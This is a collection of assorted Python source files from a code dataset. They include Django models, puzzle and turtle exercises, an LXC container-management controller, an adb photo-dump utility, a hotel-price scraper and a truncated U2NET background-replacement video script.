related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_presentations'\n \nclass LayerUser(ObjectUserPermissions):\n layer = models.ForeignKey(\n 'Layer',\n db_column='layer_id',\n on_delete=models.DO_NOTHING,\n related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_layers'\n","sub_path":"apps/site/models/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":8641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"496727210","text":"# sheldon woodward\n# 4/13/18\n\n\"\"\"Tree of all farmer-wolf-goat-cabbage possibilities.\"\"\"\n\n\nclass FWGCTree:\n states = []\n solution = None\n\n def __init__(self, depth=0, state=None, history=''):\n self.depth = depth\n self.history = history\n self.nodes = []\n # no state given\n if state is None:\n state = [False, False, False, False]\n # check for solution\n if all(state):\n FWGCTree.solution = history\n # check for loop state\n FWGCTree.states.append(state)\n # generate next nodes\n for i in range(4):\n # generate state\n new_state = state[:]\n if i > 0 and new_state[0] == new_state[i]:\n new_state[i] = not new_state[i]\n new_state[0] = not new_state[0]\n # add to tree\n if not FWGCTree.bad_state(new_state):\n self.nodes.append(FWGCTree(depth + 1, new_state, history + ('N', 'W', 'G', 'C')[i]))\n\n @staticmethod\n def bad_state(state):\n # pre-existing state\n if state in FWGCTree.states:\n return True\n # wolf alone with goat\n if state[0] != state[1] and state[1] == state[2]:\n return True\n # goat alone with cabbage\n if state[0] != state[2] and state[2] == state[3]:\n return True\n return False\n","sub_path":"river_crossing/FWGCTree.py","file_name":"FWGCTree.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"44453837","text":"# Write a non-fruitful function drawPoly(someturtle, somesides, somesize) which \r\n# makes a turtle draw a regular polygon. When called with drawPoly(tess, 8, 50), \r\n# it will draw a shape like this\r\n\r\nimport turtle\r\n\r\ndef drawPoly(t, ss, sz):\r\n \"\"\"Make turtle t draw a polygon with ss number of sides of side sz.\"\"\"\r\n for i in range(ss):\r\n t.forward(sz)\r\n t.left(float(360/ss))\r\n\r\nwn = turtle.Screen()\r\n\r\ntess = turtle.Turtle()\r\ntess.pensize(3)\r\n\r\ndrawPoly(tess, 8, 50)\r\n\r\nwn.exitonclick()","sub_path":"polygon_function.py","file_name":"polygon_function.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"151871203","text":"import webob\n\nfrom wormhole import exception\nfrom wormhole import wsgi\n\nfrom wormhole.common import log\nfrom wormhole.common import importutils\nfrom wormhole.common import utils\nfrom wormhole.i18n import _\nfrom wormhole.lxc_client import LXCClient\nfrom wormhole.net_util import network\n\nfrom wormhole.tasks import addtask\nfrom wormhole.tasks import FAKE_SUCCESS_TASK, FAKE_ERROR_TASK\n\nfrom wormhole.state import *\n\nimport six\nimport os\nimport base64\nimport json\n\nimport time\nimport sys, traceback\n\nfrom oslo.config import cfg\n\ncontainer_opts = [\n cfg.StrOpt('container_volume_link_dir',\n default=\"/var/lib/wormhole/.by-volume-id\",\n help='The dir containing symbolic files named volume-id targeting device path.'),\n cfg.StrOpt('container_driver',\n default=\"lxc\",\n help='The container manager'),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(container_opts)\n\nLOG = log.getLogger(__name__)\n\nWORMHOLE_SETTING_FILE = '/var/lib/wormhole/settings.json'\n\ndef volume_link_path(volume_id):\n return os.path.sep.join([CONF.get('container_volume_link_dir'), volume_id])\n\ndef container_root_path():\n CONTAINER_LINK_NAME = \"data-device-link\"\n return volume_link_path(CONTAINER_LINK_NAME)\n\ndef check_dev_exist(dev_path):\n \"\"\" check /dev/sde exists by `fdisk'. Note `lsblk' can't guarentee that. \"\"\"\n disk_info, _ignore_err = utils.trycmd('fdisk', '-l', dev_path)\n return disk_info.strip() != ''\n\ndef load_settings():\n return json.load(open(WORMHOLE_SETTING_FILE))\n\ndef save_settings(settings):\n with open(WORMHOLE_SETTING_FILE, 'w') as f:\n f.write(json.dumps(settings))\n\nclass ContainerController(wsgi.Application):\n\n def __init__(self):\n self._manager = None\n self._container = None\n self._ns_created = False\n vif_class = importutils.import_class(CONF.lxc.vif_driver)\n self.vif_driver = vif_class()\n self._settings = None\n self._setup_volume_mapping()\n super(ContainerController, self).__init__()\n\n def _setup_volume_mapping(self):\n self._volume_mapping = {}\n self._mount_path = {}\n self.root_dev_path = os.path.realpath(container_root_path())\n\n link_dir = CONF.get('container_volume_link_dir')\n\n if not os.path.exists(link_dir):\n os.makedirs(link_dir)\n return\n\n for link in os.listdir(link_dir):\n link_path = volume_link_path(link)\n if os.path.islink(link_path):\n realpath = os.path.realpath(link_path)\n if realpath.startswith(\"/dev/\"):\n self._volume_mapping[link] = realpath\n LOG.info(_(\"Found volume mapping %s ==> %s\"),\n link, self._volume_mapping[link])\n\n def _discovery_use_eth(self):\n res = self.manager.execute(self.container['id'], '/sbin/ip', 'link', 'show')\n _found_dev = set()\n for line in res.split('\\n'):\n if line and not line.startswith(' '):\n _, n = line.split()[:2]\n _found_dev.add(n.strip(':').split('@')[0])\n return _found_dev\n\n def _available_eth_name(self):\n net_prefix = 'eth'\n used_eths = self._discovery_use_eth()\n i = 0\n while 1:\n name = net_prefix + str(i)\n if name not in used_eths:\n LOG.debug(_(\"Available net name ==> %s\"), name)\n return name\n i += 1\n\n @property\n def manager(self):\n if self._manager is None:\n self._manager = LXCClient()\n return self._manager\n\n @property\n def container(self):\n if self._container is None:\n containers = self.manager.list(all=True)\n if not containers:\n raise exception.ContainerNotFound()\n if len(containers) > 1:\n LOG.warn(_(\"Have multiple(%d) containers: %s !\"), len(containers), containers)\n self._container = { \"id\" : containers[0][\"id\"],\n \"name\" : containers[0][\"name\"]}\n return self._container\n\n def _attach_bdm(self, block_device_info):\n \"\"\" Attach volume, setup symbolic for volume id mapping to device name.\n \"\"\"\n if block_device_info:\n for bdm in block_device_info.get('block_device_mapping', []):\n LOG.debug(_(\"Attach block device mapping %s\"), bdm)\n mount_device = bdm['mount_device']\n volume_id = bdm['connection_info']['data']['volume_id']\n self._add_mapping(volume_id, mount_device, bdm.get('real_device', ''))\n\n def _update_bdm(self, block_device_info):\n \"\"\" Update mapping info. \"\"\"\n if block_device_info:\n new_volume_mapping = {}\n for bdm in block_device_info.get('block_device_mapping', []):\n LOG.debug(_(\"Attach block device mapping %s\"), bdm)\n mount_device = bdm['mount_device']\n size_in_g = bdm.get('size', \"0\")\n volume_id = bdm['connection_info']['data']['volume_id']\n new_volume_mapping[volume_id] = {\"mount_device\" : mount_device, \"size\": str(size_in_g) + \"G\"}\n\n all_devices = utils.list_device()\n to_remove_volumes = set(self._volume_mapping) - set(new_volume_mapping)\n\n for comm_volume in set(self._volume_mapping).intersection(new_volume_mapping):\n _path = self._volume_mapping[comm_volume]\n _size = new_volume_mapping[comm_volume]['size']\n # If the device not exist or size not match, then remove it.\n if not check_dev_exist(_path) or \\\n any([d['name'] == _path and d['size'] == _size for d in all_devices]):\n LOG.info(_(\"Volume %s doesn't match, update it.\"), comm_volume)\n to_remove_volumes.add(comm_volume)\n\n if to_remove_volumes:\n LOG.info(_(\"Possible detach volume when vm is stopped:%s\"), to_remove_volumes)\n\n for remove in to_remove_volumes:\n self._remove_mapping(remove, ensure=False)\n\n to_add_volumes = set(new_volume_mapping) - set(self._volume_mapping)\n\n if to_add_volumes:\n LOG.info(_(\"Possible attach volume when vm is stopped\"))\n new_devices = [d for d in all_devices if d['name'] not in self._volume_mapping.values()]\n\n ## group by size\n for size in set([d['size'] for d in new_devices]):\n _devices = sorted([d['name'] for d in new_devices if d['size'] == size])\n _to_add_volumes = []\n for _s in (size, '0G'):\n _to_add_volumes.extend(sorted([v for v in to_add_volumes if new_volume_mapping[v]['size'] == _s]))\n LOG.debug(_(\"Size: %s, new_devices:%s, added_volums:%s\"),\n size, _devices, _to_add_volumes)\n for add, new_device in zip(_to_add_volumes, _devices):\n self._add_mapping(add, new_volume_mapping[add]['mount_device'], new_device)\n\n def plug_vifs(self, network_info):\n \"\"\"Plug VIFs into networks.\"\"\"\n instance = self.container['id']\n for vif in network_info:\n LOG.debug(_(\"Plug vif %s\"), vif)\n self.vif_driver.plug(vif, instance)\n\n def _find_container_pid(self, container_id):\n n = 0\n while True:\n # NOTE(samalba): We wait for the process to be spawned inside the\n # container in order to get the the \"container pid\". This is\n # usually really fast. To avoid race conditions on a slow\n # machine, we allow 10 seconds as a hard limit.\n if n > 20:\n return\n info = self.manager.inspect_container(container_id)\n if info:\n pid = info['State']['Pid']\n # Pid is equal to zero if it isn't assigned yet\n if pid:\n return pid\n time.sleep(0.5)\n n += 1\n\n def _create_ns(self):\n container_id = self.container['id']\n netns_path = '/var/run/netns'\n if not os.path.exists(netns_path):\n utils.execute('mkdir', '-p', netns_path, run_as_root=True)\n nspid = self._find_container_pid(container_id)\n if not nspid:\n msg = _('Cannot find any PID under container \"{0}\"')\n raise RuntimeError(msg.format(container_id))\n netns_path = os.path.join(netns_path, container_id)\n utils.execute(\n 'ln', '-sf', '/proc/{0}/ns/net'.format(nspid),\n '/var/run/netns/{0}'.format(container_id),\n run_as_root=True)\n self._ns_created = True\n\n def _attach_vifs(self, network_info):\n \"\"\"Plug VIFs into container.\"\"\"\n if not network_info:\n return\n container_id = self.container['id']\n instance = container_id\n\n for idx, vif in enumerate(network_info):\n new_remote_name = self._available_eth_name()\n self.vif_driver.attach(vif, instance, container_id, new_remote_name)\n\n def _get_repository(self, image_name):\n\n return \"\"\n\n def create(self, request, image_name, image_id, root_volume_id=None, network_info={},\n block_device_info={}, inject_files=[], admin_password=None):\n \"\"\" create the container. \"\"\"\n if root_volume_id:\n # Create VM from volume, create a symbolic link for the device.\n LOG.info(_(\"Create new container from volume %s\"), root_volume_id)\n self._add_root_mapping(root_volume_id)\n\n def _do_create():\n if admin_password is not None:\n self._inject_password(admin_password)\n if inject_files:\n self._inject_files(inject_files, plain=True)\n if block_device_info:\n try:\n self._attach_bdm(block_device_info)\n except Exception as e:\n LOG.exception(e)\n try:\n container = self.container\n LOG.warn(_(\"Already a container exists\"))\n # Do the work anyway\n _do_create()\n return FAKE_SUCCESS_TASK\n except exception.ContainerNotFound:\n repository = self._get_repository(image_name)\n #local_image_name = repository + ':' + image_id\n local_image_name = image_id\n\n def _do_create_after_download_image(name):\n LOG.debug(_(\"Create container from image %s\"), name)\n self.manager.create_container(name, network_disabled=True)\n _do_create()\n\n if self.manager.images(name=local_image_name):\n LOG.debug(_(\"Repository = %s already exists\"), local_image_name)\n _do_create_after_download_image(local_image_name)\n return FAKE_SUCCESS_TASK\n else:\n def _do_pull_image():\n name = local_image_name\n\n try:\n import re\n m = re.search(r'\\d+\\.\\d+\\.\\d+\\.\\d+', repository)\n if m:\n utils.execute('ping', '-W', '3', '-c', '1', m.group())\n LOG.debug(_(\"Starting pull image repository=%s:%s\"), repository, image_id)\n resp = self.manager.pull(repository, tag=image_id, insecure_registry=True)\n LOG.debug(_(\"Done pull image repository=%s:%s, resp %s\"), repository, image_id, resp)\n if any(resp.find(s)!=-1 for s in ['\"error\":', image_name + \" not found\"]):\n LOG.warn(_(\"Can't pull image, use the local image with name=%s\"), image_name)\n name = image_name\n except Exception as e:\n name = image_name\n LOG.exception(e)\n _do_create_after_download_image(name)\n task = addtask(_do_pull_image)\n LOG.debug(_(\"Pull image task %s\"), task)\n return task\n\n def start(self, request, network_info={}, block_device_info={}):\n \"\"\" Start the container. \"\"\"\n container_id = self.container['id']\n LOG.info(_(\"Start container %s network_info %s block_device_info %s\"),\n container_id, network_info, block_device_info)\n if block_device_info:\n try:\n self._update_bdm(block_device_info)\n except Exception as e:\n LOG.exception(e)\n raise\n for bdm in block_device_info.get('block_device_mapping', []):\n LOG.debug(_(\"Attach block device mapping %s\"), bdm)\n mount_device = bdm['mount_device']\n volume_id = bdm['connection_info']['data']['volume_id']\n real_device = bdm.get('real_device', self._volume_mapping[volume_id])\n self.manager.attach_volume(self.container['id'], real_device, mount_device, static=True)\n\n if network_info:\n try:\n self.plug_vifs(network_info)\n except Exception as e:\n msg = _('Cannot setup network for container {}: {}').format(\n self.container['name'],\n repr(traceback.format_exception(*sys.exc_info()))\n )\n LOG.debug(msg, exc_info=True)\n raise exception.ContainerStartFailed(msg)\n self.manager.start(container_id, network_info=network_info)\n self._create_ns()\n self._settings = {\"network_info\": network_info, \"block_device_info\": block_device_info}\n save_settings(self._settings)\n\n def _stop(self, container_id, timeout=5):\n\n msg = 'Stop successfully'\n try:\n msg = self.manager.stop(container_id, min(timeout, 2))\n except Exception as e:\n self.manager.unpause(container_id)\n self.manager.stop(container_id, timeout)\n self._ns_created = False\n self._container = None\n return msg\n\n def _sync(self):\n LOG.debug(_(\"Flush file system buffers\"))\n if hasattr(os, 'sync'):\n os.sync()\n else:\n import ctypes\n libc = ctype.CDLL(\"libc.so.6\")\n libc.sync()\n\n def stop(self, request):\n \"\"\" Stop the container. \"\"\"\n container_id = self.container['id']\n LOG.info(_(\"Stop container %s\"), container_id)\n return self._stop(container_id)\n # No sync by now\n # self._sync()\n\n def _extract_dns_entries(self, network_info):\n dns = []\n if network_info:\n for net in network_info:\n subnets = net['network'].get('subnets', [])\n for subnet in subnets:\n dns_entries = subnet.get('dns', [])\n for dns_entry in dns_entries:\n if 'address' in dns_entry:\n dns.append(dns_entry['address'])\n return dns if dns else None\n\n def unplug_vifs(self, network_info):\n \"\"\"Unplug VIFs from networks.\"\"\"\n instance = self.container['id']\n for vif in network_info:\n self.vif_driver.unplug(instance, vif)\n\n def restart(self, request, network_info={}, block_device_info={}):\n \"\"\" Restart the container. \"\"\"\n # return webob.Response(status_int=204)\n container_id = self.container['id']\n LOG.info(_(\"Restart container %s, network_info:%s, bdm:%s\"),\n container_id, network_info, block_device_info)\n self._stop(container_id)\n try:\n network.teardown_network(container_id)\n if network_info:\n self.unplug_vifs(network_info)\n netns_file = '/var/run/netns/{0}'.format(container_id)\n # if os.path.exists(netns_file):\n # os.remove(netns_file)\n except Exception as e:\n LOG.warning(_('Cannot destroy the container network'\n ' during reboot {0}').format(e),\n exc_info=True)\n return\n\n try:\n self.start(request, network_info=network_info)\n except Exception as e:\n LOG.warning(_('Cannot start on reboot: %s'), e,\n exc_info=True)\n return\n\n def _save_interface(self, vif, action='add'):\n if not vif:\n return\n\n if self._settings is None:\n self._settings = load_settings()\n net_info = self._settings.setdefault('network_info', [])\n\n idx = -1\n for i in range(len(net_info)):\n if net_info[i]['id'] == vif['id']:\n idx = i\n break\n if action == 'add':\n if idx == -1:\n net_info.append(vif)\n else:\n net_info[idx] = vif\n save_settings(self._settings)\n elif action == 'del' and idx >= 0:\n net_info.pop(idx)\n save_settings(self._settings)\n\n\n def detach_interface(self, request, vif):\n if vif:\n LOG.debug(_(\"Detach network info %s\"), vif)\n container_id = self.container['id']\n self.vif_driver.unplug(container_id, vif)\n self.manager.remove_interfaces(container_id, [vif])\n self._save_interface(vif, action='del')\n return webob.Response(status_int=200)\n\n def attach_interface(self, request, vif):\n if vif:\n if not self._ns_created:\n self._create_ns()\n LOG.debug(_(\"Attach network info %s\"), vif)\n instance = container_id = self.container['id']\n self.vif_driver.plug(vif, instance)\n new_remote_name = self._available_eth_name()\n self.vif_driver.attach(vif, instance, container_id, new_remote_name)\n self.manager.add_interfaces(container_id, [vif], net_names=[new_remote_name])\n self._save_interface(vif, action='add')\n return webob.Response(status_int=200)\n\n def _inject_files(self, inject_files, plain=False):\n container_id = self.container['id']\n\n try:\n for (path, content_base64) in inject_files:\n # Ensure the parent dir of injecting file exists\n dirname = os.path.dirname(path)\n if not dirname:\n dirname = '/'\n\n filename = os.path.basename(path)\n\n content = content_base64 if plain else base64.b64decode(content_base64)\n LOG.debug(_(\"Inject file %s, content: len = %d, partial = %s\"), path, len(content), content[:30])\n\n # TODO: file already exists in the container, need to backup?\n self.manager.inject_file(container_id, path, content)\n\n except TypeError as e: # invalid base64 encode\n LOG.exception(e)\n raise exception.InjectFailed(path=path, reason=\"contents %s\" % e.message)\n except Exception as e:\n LOG.exception(e)\n raise exception.InjectFailed(path='', reason=repr(e) + str(e.message))\n\n def inject_files(self, request, inject_files):\n self._inject_files(inject_files, plain=True)\n return webob.Response(status_int=200)\n\n\n def _read_file(self, path):\n \"\"\" Read container path content. \"\"\"\n return self.manager.read_file(self.container['id'], path)\n\n def _inject_password(self, admin_password):\n \"\"\"S et the root password to admin_passwd\n \"\"\"\n # The approach used here is to copy the password and shadow\n # files from the instance filesystem to local files, make any\n # necessary changes, and then copy them back.\n\n LOG.debug(_(\"Inject admin password admin_passwd=\"))\n admin_user = 'root'\n\n passwd_path = os.path.join('/etc', 'passwd')\n shadow_path = os.path.join('/etc', 'shadow')\n\n passwd_data = self._read_file(passwd_path)\n shadow_data = self._read_file(shadow_path)\n\n new_shadow_data = utils.set_passwd(admin_user, admin_password,\n passwd_data, shadow_data)\n self._inject_files([(shadow_path, new_shadow_data)], plain=True)\n\n def inject_password(self, request, admin_password):\n \"\"\" Modify root password. \"\"\"\n admin_password = base64.b64decode(admin_password)\n self._inject_password(admin_password)\n\n def _add_mapping(self, volume_id, mountpoint, device='', static=True):\n LOG.debug(_(\"Attach volume %s : device %s, mountpoint %s\"), volume_id, device, mountpoint)\n if not device:\n link_file = volume_link_path(volume_id)\n if os.path.islink(link_file):\n device = os.path.realpath(link_file)\n else:\n LOG.warn(_(\"Can't find the device of volume %s when attaching volume\"), volume_id)\n return\n else:\n if not device.startswith(\"/dev/\"):\n device = \"/dev/\" + device\n self._volume_mapping[volume_id] = device\n utils.trycmd('ln', '-sf', device, volume_link_path(volume_id))\n self._mount_path[device] = mountpoint\n if mountpoint != 'none': \n self.manager.attach_volume(self.container['id'], device, mountpoint, static)\n\n def attach_volume(self, request, volume, device, mount_device):\n \"\"\" attach volume. \"\"\"\n self._add_mapping(volume, mount_device, device, static=False)\n return None\n\n def detach_volume(self, request, volume):\n device = self._remove_mapping(volume, static=False)\n return webob.Response(status_int=200)\n\n def _add_root_mapping(self, volume_id):\n self.root_dev_path = os.path.realpath(self.root_dev_path)\n self._add_mapping(volume_id, \"none\", self.root_dev_path)\n\n def _remove_mapping(self, volume_id, ensure=True, static=True):\n link_file = volume_link_path(volume_id)\n if os.path.islink(link_file):\n dev_path = os.path.realpath(link_file)\n # ignore the manager root volume\n self.root_dev_path = os.path.realpath(self.root_dev_path)\n if not dev_path.startswith(self.root_dev_path):\n LOG.debug(_(\"Detach volume %s\"), volume_id)\n if ensure:\n # ensure the device path is not visible in host/container\n if check_dev_exist(dev_path):\n LOG.warn(_(\"Try to delete device %s, but it seems exist.\"), dev_path)\n utils.trycmd('bash', '-c', 'echo 1 > /sys/block/%s/device/delete' % dev_path.replace('/dev/',''))\n os.remove(link_file)\n self._volume_mapping.pop(volume_id)\n self.manager.detach_volume(self.container['id'], dev_path,\n self._mount_path.get(dev_path,''), static)\n\n def create_image(self, request, image_name, image_id):\n \"\"\" Create a image from the container. \"\"\"\n repository = self._get_repository(image_name)\n LOG.debug(_(\"Creating image from repo = %s, tag = %s\"), repository, image_id)\n def _create_image_cb():\n LOG.debug(_(\"Pushing image %s\"), repository)\n self.manager.commit(self.container['id'], repository=repository,\n tag=image_id)\n self.manager.push(repository, tag=image_id, insecure_registry=True)\n LOG.debug(_(\"Doing image %s\"), repository)\n task = addtask(_create_image_cb)\n LOG.debug(_(\"Created image task %s\"), task)\n return task\n\n def pause(self, request):\n self.manager.pause(self.container['id'])\n\n def unpause(self, request):\n self.manager.unpause(self.container['id'])\n\n def console_output(self, request):\n return { \"logs\": self.manager.logs(self.container['id']) }\n\n def status(self, request):\n try:\n images = self.manager.images()\n if images:\n containers = self.manager.list(all=True)\n if containers:\n status = containers[0]['status']\n code = ([k for k in STATE_MAP if STATE_MAP[k] == status.upper()]\n or [UNKNOWN])[0]\n else:\n code = CONTAINER_NOT_FOUND\n else: code = IMAGE_NOT_EXIST\n except Exception as e:\n code = MANAGER_NOT_START\n LOG.error(repr(traceback.format_exception(*sys.exc_info())))\n return { \"status\":\n { \"code\" : code,\n \"message\": STATE_MAP[code]\n }\n }\n\n def image_info(self, request):\n image_name = request.GET.get('image_name')\n image_id = request.GET.get('image_id')\n re = self.manager.images(name=self._get_repository(image_name) + ':' + image_id)\n return {\"name\" : image_name, \"id\": image_id, \"size\" : re[0]['size'] if re else 0}\n\ndef create_router(mapper):\n controller = ContainerController()\n mapper.connect('/container/create',\n controller=controller,\n action='create',\n conditions=dict(method=['POST']))\n mapper.connect('/container/start',\n controller=controller,\n action='start',\n conditions=dict(method=['POST']))\n mapper.connect('/container/stop',\n controller=controller,\n action='stop',\n conditions=dict(method=['POST']))\n mapper.connect('/container/restart',\n controller=controller,\n action='restart',\n conditions=dict(method=['POST']))\n\n mapper.connect('/container/attach-interface',\n controller=controller,\n action='attach_interface',\n conditions=dict(method=['POST']))\n mapper.connect('/container/detach-interface',\n controller=controller,\n action='detach_interface',\n conditions=dict(method=['POST']))\n\n mapper.connect('/container/inject-files',\n controller=controller,\n action='inject_files',\n conditions=dict(method=['POST']))\n mapper.connect('/container/admin-password',\n controller=controller,\n action='inject_password',\n conditions=dict(method=['POST']))\n\n mapper.connect('/container/detach-volume',\n controller=controller,\n action='detach_volume',\n conditions=dict(method=['POST']))\n mapper.connect('/container/attach-volume',\n controller=controller,\n action='attach_volume',\n conditions=dict(method=['POST']))\n\n mapper.connect('/container/create-image',\n controller=controller,\n action='create_image',\n conditions=dict(method=['POST']))\n\n mapper.connect('/container/pause',\n controller=controller,\n action='pause',\n conditions=dict(method=['POST']))\n mapper.connect('/container/unpause',\n controller=controller,\n action='unpause',\n conditions=dict(method=['POST']))\n\n mapper.connect('/container/console-output',\n controller=controller,\n action='console_output',\n conditions=dict(method=['GET']))\n mapper.connect('/container/status',\n controller=controller,\n action='status',\n conditions=dict(method=['GET']))\n mapper.connect('/container/image-info',\n controller=controller,\n action='image_info',\n conditions=dict(method=['GET']))\n","sub_path":"wormhole/container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":27965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"469578249","text":"import random, urllib.request\r\ndef downloadImage(url):\r\n name = random.randrange(1, 100)\r\n name = str(name) + '.jpg'\r\n urllib.request.urlretrieve(url, name)\r\nwhile True:\r\n\r\n image_url = input(\"Введите url картинки >> \")\r\n\r\n\r\n\r\n downloadImage(image_url)\r\n","sub_path":"urlImageMaster.py","file_name":"urlImageMaster.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"207075925","text":"import os\r\n\r\nimport CommonTips\r\n\r\nsub_model_name = 'Dump照片'\r\n\r\nsave_path = \"C:\\\\Users\\\\D22433\\\\Desktop\\\\DumpPhotos\\\\\"\r\nremote_path = \"/sdcard/AlgoTest/\"\r\n\r\npull_photo_2_local = \"adb pull \"+remote_path+\" \"+save_path\r\ndel_local_photos = \"del /Q \"+save_path+\"\\\\*\"\r\ndel_remote_photos = 'adb shell \"rm -rf '+remote_path+'/*\"'\r\n\r\nop_info = '''--------------Dump照片--------------\r\n| 【0】：从安卓端拉取dump照片至本地\r\n| 【1】：删除本地dump照片\r\n| 【2】：删除安卓dump照片\r\n| 【3】：删除本地&安卓dump照片''' + CommonTips.tip_ops+'-----------------------------------'\r\n\r\n\r\ndef main():\r\n print(op_info)\r\n while True:\r\n cmd = input('（'+sub_model_name+'）'+CommonTips.tip_input_cmd)\r\n\r\n if cmd.isdigit():\r\n cmd = int(cmd)\r\n if cmd == 0:\r\n os.system(pull_photo_2_local)\r\n elif cmd == 1:\r\n os.system(del_local_photos)\r\n elif cmd == 2:\r\n os.system(del_remote_photos)\r\n elif cmd == 3:\r\n os.system(del_local_photos)\r\n os.system(del_remote_photos)\r\n else:\r\n print(CommonTips.tip_arg_error)\r\n else:\r\n if 'h' == cmd.lower():\r\n print(op_info)\r\n elif 'q' == cmd.lower():\r\n print(CommonTips.tip_quit)\r\n break\r\n else:\r\n print(CommonTips.tip_arg_error)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n","sub_path":"DumpPhotos.py","file_name":"DumpPhotos.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"623754140","text":"__author__ = 'Ryan'\n#version 1\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport csv\nfrom time import strftime\nimport sched, time\n\n#get the daily price of SPG hotels in NYC\ndef get_price(inyear,inmonth,inday,outyear,outmonth,outday): # two numbers for month and day; four numbers for year.\n url = \"https://assistive.usablenet.com/tt/www.starwoodhotels.com/preferredguest/search/results/detail.html?localeCode=en_US&\" \\\n \"complexSearchField=New+York+City&skinCode=SPG&numberOfChildren=0&numberOfRooms=1&numberOfAdults=1&\" \\\n \"arrivalDate=\"+str(inmonth)+\"%2F\"+str(inday)+\"%2F\"+str(inyear)+\"&departureDate=\"+str(outmonth)+\"%2F\"+str(outday)+\"%2F\"+str(outyear)+\"&un_jtt_redirect\"\n r = requests.get(url)\n data = r.text\n soup = BeautifulSoup(data)\n hotel_name = []\n hotel_price = []\n info = soup.find_all(class_=\"property\")\n for property in info:\n\n name = property.find('h3').a.string.encode('utf-8')\n print(name)\n hotel_name.append(name)\n\n # grab price data\n if property.find_all(class_='marginLeft20 marginBottom10') == []: # hotel is full\n price = 0\n else:\n price = int(str(property.find_all(class_='marginLeft20 marginBottom10')[0].find(class_='rateAmount').string)[4:])\n hotel_price.append(price)\n result = sorted(zip(hotel_name,hotel_price))\n print(result)\n return result\n\n#save the result as a csv file\ndef csv_writer(list):\n with open(strftime(\"%Y-%m-%d %H:%M\")+'.csv', 'w') as fp:\n a = csv.writer(fp, delimiter=',')\n a.writerows(list)\n\nget_price(2015,11,23,2015,11,24)\n\n#repeatedly execute the function every half hour\ns = sched.scheduler(time.time, time.sleep)\ndef do_something(sc):\n csv_writer(get_price())\n sc.enter(10, 1, do_something, (sc,))\n\ns.enter(10, 1, do_something, (s,))\ns.run()\n","sub_path":"Grab_data.py","file_name":"Grab_data.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"299675282","text":"import glob\nimport os\nimport queue\nimport threading\nfrom datetime import datetime\n\nimport cv2\n# cv2.setNumThreads(5)\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nfrom PIL import Image, ImageChops\nfrom skimage import io, transform\nfrom torch.autograd import Variable\nfrom torchvision import transforms # , utils\n\n# from data_loader import RescaleT, SalObjVideoIterable, ToTensorLab\nfrom models import U2NET # full size version 173.6 MB\nfrom models import U2NETP # small version u2net 4.7 MB\nfrom models import U2NETP_short\n\n# import torch.optim as optim\n\nstudent_inference_queue = queue.Queue(3)\n\norig_image_queue = queue.Queue()\nstudent_result_queue = queue.Queue(3)\n\n\n# normalize the predicted SOD probability map\ndef normPRED(d):\n ma = torch.max(d)\n mi = torch.min(d)\n\n dn = (d-mi)/max(ma-mi, 0.001)\n\n return dn\n\n# TODO: make abstract or flagify\nimg_bg = io.imread(\"data/example_bgs/tokyo.jpg\")\nimg_bg = Image.fromarray(img_bg)\nimg_bg_resized = None\n# post_image = None\n\ndef paint_output(image_name,pred,orig,d_dir,width=None, height=None):\n predict = pred\n predict = predict.squeeze()\n predict_np = predict.cpu().data.numpy()\n del pred\n\n im = Image.fromarray(predict_np*255).convert('RGB')\n img_name = image_name.split(\"/\")[-1]\n \n # orig_image_arr = orig.cpu().data.numpy()[0]\n orig_image_arr = orig\n pred_mask_arr = np.array(im.resize((orig_image_arr.shape[1],orig_image_arr.shape[0]),resample=Image.BILINEAR), dtype=np.float32)\n global img_bg_resized\n if img_bg_resized is None:\n img_bg_resized = np.array(img_bg.resize((orig_image_arr.shape[1],orig_image_arr.shape[0]),resample=Image.BILINEAR))\n inv_mask = 255 - pred_mask_arr\n bg = (inv_mask / 255) * img_bg_resized\n bg = bg.astype(np.uint8)\n pred_img_arr = orig_image_arr * pred_mask_arr / 255\n pred_img_arr = pred_img_arr.astype(np.uint8)\n out = pred_img_arr + bg\n\n return out\n\ndef cv2_thread_func(video_name, output_size=320):\n video = cv2.VideoCapture(video_name)\n images_in_flight = []\n try:\n while True:\n succ, image = video.read()\n # image = cv2.resize(image,\n # (image.shape[1] * 320 // image.shape[0], 320),\n # interpolation=cv2.INTER_AREA)\n\n image = image[:,:,::-1]\n\n orig_image = image.copy()\n orig_image_queue.put(orig_image)\n\n resized_img = Image.fromarray(image).convert('RGB')\n resized_img = resized_img.resize((output_size,output_size),resample=Image.NEAREST)\n resized_img = np.array(resized_img)\n \n image = resized_img/np.max(resized_img)\n tmpImg = np.zeros((image.shape[0],image.shape[1],3))\n tmpImg[:,:,0] = (image[:,:,0]-0.485)/0.229\n tmpImg[:,:,1] = (image[:,:,1]-0.456)/0.224\n tmpImg[:,:,2] = (image[:,:,2]-0.406)/0.225\n\n # RGB to BRG\n tmpImg = tmpImg.transpose((2, 0, 1))\n\n student_inference_queue.put({\n # \"orig_image\": orig_image,\n \"image\": torch.from_numpy(tmpImg)\n })\n except:\n print(\"CV2 reader hard exit\")\n student_inference_queue.put(\"kill\")\n orig_image_queue.put(\"kill\")\n exit()\n\ndef paint_thread_func():\n cv2.namedWindow(\"im\")\n vid_out = None\n # TODO: make flag for video saving params\n keep_vid = False\n t = datetime.now()\n while True:\n 